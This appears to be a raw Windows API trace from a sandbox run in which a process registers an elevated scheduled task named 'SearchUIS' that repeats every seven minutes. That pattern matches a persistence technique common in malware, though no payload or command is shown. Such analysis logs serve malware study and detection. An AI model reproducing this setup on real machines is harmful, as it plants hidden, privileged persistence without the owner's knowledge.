[0126.843] GetProcessHeap () returned 0x1769e910000 [0126.843] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x10) returned 0x1769e91aaa0 [0126.843] GetThreadLocale () returned 0x409 [0126.843] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0126.843] GetProcessHeap () returned 0x1769e910000 [0126.843] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91ba40 [0126.843] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.843] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0126.843] lstrlenW (lpString="HIGHEST") returned 7 [0126.843] GetProcessHeap () returned 0x1769e910000 [0126.843] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x10) returned 0x1769e91abc0 [0126.843] GetThreadLocale () returned 0x409 [0126.844] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0126.844] GetProcessHeap () returned 0x1769e910000 [0126.844] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91baa0 [0126.844] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.844] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0126.844] lstrlenW (lpString="MINUTE") returned 6 [0126.844] GetProcessHeap () returned 0x1769e910000 [0126.844] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0xe) returned 0x1769e91abe0 [0126.844] GetThreadLocale () returned 0x409 [0126.844] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0126.844] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.844] GetProcessHeap () returned 0x1769e910000 [0126.844] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x1fc) returned 0x1769e91ac80 [0126.844] GetProcessHeap () returned 0x1769e910000 [0126.844] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b800 [0126.844] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.844] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0126.844] lstrlenW (lpString="First") returned 5 [0126.844] GetProcessHeap () returned 0x1769e910000 [0126.844] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0xc) returned 0x1769e91aa20 [0126.844] GetProcessHeap () returned 0x1769e910000 [0126.844] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91bad0 [0126.844] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.844] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0126.845] lstrlenW (lpString="Second") returned 6 [0126.845] GetProcessHeap () returned 0x1769e910000 [0126.845] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0xe) returned 0x1769e91a940 [0126.845] GetProcessHeap () returned 0x1769e910000 [0126.845] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b500 [0126.845] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.845] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0126.845] lstrlenW (lpString="Third") returned 5 [0126.845] GetProcessHeap () returned 0x1769e910000 [0126.845] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0xc) returned 0x1769e91ab40 [0126.845] GetProcessHeap () returned 0x1769e910000 [0126.845] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b680 [0126.845] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.845] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0126.845] lstrlenW (lpString="Fourth") returned 6 [0126.845] GetProcessHeap () returned 0x1769e910000 [0126.845] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0xe) returned 0x1769e91ab20 [0126.845] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.845] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0126.845] lstrlenW (lpString="Last") returned 4 [0126.845] GetProcessHeap () returned 0x1769e910000 [0126.845] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0xa) returned 0x1769e91a9c0 [0126.845] lstrlenW (lpString="7") returned 1 [0126.845] _wtol (_String="7") returned 7 [0126.845] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.845] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0126.846] lstrlenW (lpString="First") returned 5 [0126.846] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.846] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0126.846] lstrlenW (lpString="Second") returned 6 [0126.846] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.846] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0126.846] lstrlenW (lpString="Third") returned 5 [0126.846] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.846] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0126.846] lstrlenW (lpString="Fourth") returned 6 [0126.846] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.846] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0126.846] lstrlenW (lpString="Last") returned 4 [0126.846] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x476069c380, cchData=128 | out: lpLCData="0") returned 2 [0126.846] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.846] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0126.846] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0126.846] GetProcessHeap () returned 0x1769e910000 [0126.846] GetProcessHeap () returned 0x1769e910000 [0126.846] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91aa20) returned 1 [0126.846] GetProcessHeap () returned 0x1769e910000 [0126.846] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91aa20) returned 0xc [0126.846] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91aa20) returned 1 [0126.846] GetProcessHeap () returned 0x1769e910000 [0126.847] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x16) returned 0x1769e91aa80 [0126.847] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x476069c3a0, cchData=128 | out: lpLCData="0") returned 2 [0126.847] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.847] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0126.847] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0126.847] GetProcessHeap () returned 0x1769e910000 [0126.847] GetProcessHeap () returned 0x1769e910000 [0126.847] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91a940) returned 1 [0126.847] GetProcessHeap () returned 0x1769e910000 [0126.847] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91a940) returned 0xe [0126.847] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91a940) returned 1 [0126.847] GetProcessHeap () returned 0x1769e910000 [0126.847] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x16) returned 0x1769e91a8c0 [0126.847] GetLocalTime (in: lpSystemTime=0x476069c5d8 | out: lpSystemTime=0x476069c5d8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x32, wMilliseconds=0xdd)) [0126.847] lstrlenW (lpString="") returned 0 [0126.847] GetLocalTime (in: lpSystemTime=0x476069cfc8 | out: lpSystemTime=0x476069cfc8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x32, wMilliseconds=0xdd)) [0126.847] lstrlenW (lpString="") returned 0 [0126.847] lstrlenW (lpString="") returned 0 [0126.847] lstrlenW (lpString="") returned 0 [0126.847] lstrlenW (lpString="") returned 0 [0126.847] lstrlenW (lpString="7") returned 1 [0126.848] _wtol (_String="7") returned 7 [0126.848] lstrlenW (lpString="") returned 0 [0126.848] lstrlenW (lpString="") returned 0 [0126.848] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0126.856] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0126.905] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x476069cd20 | out: ppv=0x476069cd20*=0x1769eae5700) returned 0x0 [0126.937] TaskScheduler:ITaskService:Connect (This=0x1769eae5700, serverName=0x476069ce10*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x476069cde0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x476069cdc0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x476069cda0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0126.988] TaskScheduler:ITaskService:GetFolder (in: This=0x1769eae5700, Path=0x0, ppFolder=0x476069cf00 | out: ppFolder=0x476069cf00*=0x1769eae5880) returned 0x0 [0126.994] TaskScheduler:ITaskService:NewTask (in: This=0x1769eae5700, flags=0x0, ppDefinition=0x476069ced8 | out: ppDefinition=0x476069ced8*=0x1769eae5900) returned 0x0 [0126.995] ITaskDefinition:get_Actions (in: This=0x1769eae5900, ppActions=0x476069ce20 | out: ppActions=0x476069ce20*=0x1769eae5990) returned 0x0 [0126.995] IActionCollection:Create (in: This=0x1769eae5990, Type=0, ppAction=0x476069ce60 | out: ppAction=0x476069ce60*=0x1769eae5da0) returned 0x0 [0126.995] IUnknown:Release (This=0x1769eae5da0) returned 0x1 [0126.996] IUnknown:Release (This=0x1769eae5990) returned 0x1 [0126.996] ITaskDefinition:get_Triggers (in: This=0x1769eae5900, ppTriggers=0x476069c9d0 | out: ppTriggers=0x476069c9d0*=0x1769eae5c50) returned 0x0 [0126.996] ITriggerCollection:Create (in: This=0x1769eae5c50, Type=1, ppTrigger=0x476069c9b8 | out: ppTrigger=0x476069c9b8*=0x1769eae5e10) returned 0x0 [0126.996] lstrlenW (lpString="7") returned 1 [0126.996] _vsnwprintf (in: _Buffer=0x476069c940, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x476069c938 | out: _Buffer="PT7M") returned 4 [0126.996] ITrigger:get_Repetition (in: This=0x1769eae5e10, ppRepeat=0x476069c9b0 | out: ppRepeat=0x476069c9b0*=0x1769eae5ea0) returned 0x0 [0126.997] IRepetitionPattern:put_Interval (This=0x1769eae5ea0, Interval="PT7M") returned 0x0 [0126.997] IUnknown:Release (This=0x1769eae5ea0) returned 0x1 [0126.997] _vsnwprintf (in: _Buffer=0x476069c900, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x476069c8d8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0126.997] ITrigger:put_StartBoundary (This=0x1769eae5e10, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0126.997] lstrlenW (lpString="") returned 0 [0126.997] lstrlenW (lpString="") returned 0 [0126.997] lstrlenW (lpString="") returned 0 [0126.997] lstrlenW (lpString="") returned 0 [0126.997] IUnknown:Release (This=0x1769eae5e10) returned 0x1 [0126.997] IUnknown:Release (This=0x1769eae5c50) returned 0x1 [0126.997] ITaskDefinition:get_Settings (in: This=0x1769eae5900, ppSettings=0x476069ce60 | out: ppSettings=0x476069ce60*=0x1769eae5ad0) returned 0x0 [0126.997] lstrlenW (lpString="") returned 0 [0126.998] IUnknown:Release (This=0x1769eae5ad0) returned 0x3 [0126.998] GetLocalTime (in: lpSystemTime=0x476069cd18 | out: lpSystemTime=0x476069cd18*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x32, wMilliseconds=0x179)) [0126.998] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0126.998] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x476069cd30, nSize=0x476069cd08 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x476069cd08) returned 0x1 [0126.999] ITaskDefinition:get_RegistrationInfo (in: This=0x1769eae5900, ppRegistrationInfo=0x476069cd00 | out: ppRegistrationInfo=0x476069cd00*=0x1769eae5a10) returned 0x0 [0126.999] IRegistrationInfo:put_Author (This=0x1769eae5a10, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0126.999] _vsnwprintf (in: _Buffer=0x476069cd30, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x476069ccc8 | out: _Buffer="2023-09-19T17:15:50") returned 19 [0126.999] IRegistrationInfo:put_Date (This=0x1769eae5a10, Date="2023-09-19T17:15:50") returned 0x0 [0126.999] IUnknown:Release (This=0x1769eae5a10) returned 0x1 [0126.999] malloc (_Size=0x18) returned 0x1769eae5f20 [0127.000] free (_Block=0x1769eae5f20) [0127.000] lstrlenW (lpString="") returned 0 [0127.000] ITaskDefinition:get_Principal (in: This=0x1769eae5900, ppPrincipal=0x476069cec8 | out: ppPrincipal=0x476069cec8*=0x1769eae5cc0) returned 0x0 [0127.000] IPrincipal:put_RunLevel (This=0x1769eae5cc0, RunLevel=1) returned 0x0 [0127.000] IUnknown:Release (This=0x1769eae5cc0) returned 0x1 [0127.000] malloc (_Size=0x18) returned 0x1769eae5f20 [0127.000] ITaskFolder:RegisterTaskDefinition (in: This=0x1769eae5880, Path="SearchUIS", pDefinition=0x1769eae5900, flags=6, UserId=0x476069cf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x476069cf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x476069cf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x476069cf30 | out: ppTask=0x476069cf30*=0x1769eae6fd0) returned 0x0 [0127.132] free (_Block=0x1769eae5f20) [0127.132] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.132] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0127.132] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0127.132] GetProcessHeap () returned 0x1769e910000 [0127.132] GetProcessHeap () returned 0x1769e910000 [0127.132] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91ab40) returned 1 [0127.132] GetProcessHeap () returned 0x1769e910000 [0127.132] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91ab40) returned 0xc [0127.132] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91ab40) returned 1 [0127.132] GetProcessHeap () returned 0x1769e910000 [0127.132] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x82) returned 0x1769e9359e0 [0127.132] _vsnwprintf (in: _Buffer=0x476069d5e0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x476069ce78 | out: _Buffer="SUCCESS: The scheduled task \"SearchUIS\" has successfully been created.\n") returned 71 [0127.132] __iob_func () returned 0x7ffa7941e210 [0127.132] _fileno (_File=0x7ffa7941e240) returned -2 [0127.133] _errno () returned 0x1769eae0840 [0127.133] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0127.133] RtlRestoreLastWin32Error () returned 0x476097e000 [0127.133] lstrlenW (lpString="SUCCESS: The scheduled task \"SearchUIS\" has successfully been created.\n") returned 71 [0127.133] GetConsoleOutputCP () returned 0x0 [0127.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SearchUIS\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0127.133] GetConsoleOutputCP () returned 0x0 [0127.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SearchUIS\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"SearchUIS\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0127.133] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 71 [0127.133] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0127.133] IUnknown:Release (This=0x1769eae6fd0) returned 0x0 [0127.133] TaskScheduler:IUnknown:Release (This=0x1769eae5900) returned 0x0 [0127.133] TaskScheduler:IUnknown:Release (This=0x1769eae5880) returned 0x0 [0127.133] TaskScheduler:IUnknown:Release (This=0x1769eae5700) returned 0x0 [0127.134] lstrlenW (lpString="") returned 0 [0127.134] lstrlenW (lpString="7") returned 1 [0127.134] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="7", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0127.134] GetProcessHeap () returned 0x1769e910000 [0127.134] GetProcessHeap () returned 0x1769e910000 [0127.134] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91ac80) returned 1 [0127.134] GetProcessHeap () returned 0x1769e910000 [0127.134] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91ac80) returned 0x1fc [0127.135] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91ac80) returned 1 [0127.135] GetProcessHeap () returned 0x1769e910000 [0127.135] GetProcessHeap () returned 0x1769e910000 [0127.135] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914e90) returned 1 [0127.135] GetProcessHeap () returned 0x1769e910000 [0127.135] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914e90) returned 0x4 [0127.135] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914e90) returned 1 [0127.135] GetProcessHeap () returned 0x1769e910000 [0127.135] GetProcessHeap () returned 0x1769e910000 [0127.135] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91ab00) returned 1 [0127.135] GetProcessHeap () returned 0x1769e910000 [0127.135] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91ab00) returned 0x16 [0127.135] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91ab00) returned 1 [0127.135] GetProcessHeap () returned 0x1769e910000 [0127.135] GetProcessHeap () returned 0x1769e910000 [0127.135] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91a9e0) returned 1 [0127.135] GetProcessHeap () returned 0x1769e910000 [0127.135] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91a9e0) returned 0x18 [0127.135] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91a9e0) returned 1 [0127.135] GetProcessHeap () returned 0x1769e910000 [0127.135] GetProcessHeap () returned 0x1769e910000 [0127.136] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b9b0) returned 1 [0127.136] GetProcessHeap () returned 0x1769e910000 [0127.136] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b9b0) returned 0x20 [0127.136] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b9b0) returned 1 [0127.136] GetProcessHeap () returned 0x1769e910000 [0127.136] GetProcessHeap () returned 0x1769e910000 [0127.136] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e913870) returned 1 [0127.136] GetProcessHeap () returned 0x1769e910000 [0127.136] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e913870) returned 0xa0 [0127.137] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e913870) returned 1 [0127.137] GetProcessHeap () returned 0x1769e910000 [0127.137] GetProcessHeap () returned 0x1769e910000 [0127.137] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914c50) returned 1 [0127.137] GetProcessHeap () returned 0x1769e910000 [0127.137] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914c50) returned 0x18 [0127.137] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914c50) returned 1 [0127.137] GetProcessHeap () returned 0x1769e910000 [0127.137] GetProcessHeap () returned 0x1769e910000 [0127.137] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b8f0) returned 1 [0127.137] GetProcessHeap () returned 0x1769e910000 [0127.138] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b8f0) returned 0x20 [0127.138] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b8f0) returned 1 [0127.138] GetProcessHeap () returned 0x1769e910000 [0127.138] GetProcessHeap () returned 0x1769e910000 [0127.138] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914730) returned 1 [0127.138] GetProcessHeap () returned 0x1769e910000 [0127.138] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914730) returned 0x4a [0127.139] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914730) returned 1 [0127.139] GetProcessHeap () returned 0x1769e910000 [0127.139] GetProcessHeap () returned 0x1769e910000 [0127.139] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91aa00) returned 1 [0127.139] GetProcessHeap () returned 0x1769e910000 [0127.139] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91aa00) returned 0x18 [0127.139] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91aa00) returned 1 [0127.139] GetProcessHeap () returned 0x1769e910000 [0127.139] GetProcessHeap () returned 0x1769e910000 [0127.139] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b530) returned 1 [0127.139] GetProcessHeap () returned 0x1769e910000 [0127.139] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b530) returned 0x20 [0127.140] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b530) returned 1 [0127.140] GetProcessHeap () returned 0x1769e910000 [0127.140] GetProcessHeap () returned 0x1769e910000 [0127.140] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e913b40) returned 1 [0127.140] GetProcessHeap () returned 0x1769e910000 [0127.140] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e913b40) returned 0x4c [0127.141] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e913b40) returned 1 [0127.141] GetProcessHeap () returned 0x1769e910000 [0127.141] GetProcessHeap () returned 0x1769e910000 [0127.141] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91a9a0) returned 1 [0127.141] GetProcessHeap () returned 0x1769e910000 [0127.141] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91a9a0) returned 0x18 [0127.141] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91a9a0) returned 1 [0127.141] GetProcessHeap () returned 0x1769e910000 [0127.141] GetProcessHeap () returned 0x1769e910000 [0127.141] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e919020) returned 1 [0127.141] GetProcessHeap () returned 0x1769e910000 [0127.141] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e919020) returned 0x20 [0127.143] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e919020) returned 1 [0127.143] GetProcessHeap () returned 0x1769e910000 [0127.143] GetProcessHeap () returned 0x1769e910000 [0127.143] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91a8e0) returned 1 [0127.143] GetProcessHeap () returned 0x1769e910000 [0127.143] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91a8e0) returned 0xe [0127.143] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91a8e0) returned 1 [0127.143] GetProcessHeap () returned 0x1769e910000 [0127.143] GetProcessHeap () returned 0x1769e910000 [0127.143] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e9147b0) returned 1 [0127.143] GetProcessHeap () returned 0x1769e910000 [0127.143] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e9147b0) returned 0x18 [0127.143] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e9147b0) returned 1 [0127.143] GetProcessHeap () returned 0x1769e910000 [0127.143] GetProcessHeap () returned 0x1769e910000 [0127.143] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e918ff0) returned 1 [0127.143] GetProcessHeap () returned 0x1769e910000 [0127.143] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e918ff0) returned 0x20 [0127.144] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e918ff0) returned 1 [0127.144] GetProcessHeap () returned 0x1769e910000 [0127.144] GetProcessHeap () returned 0x1769e910000 [0127.144] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e919b10) returned 1 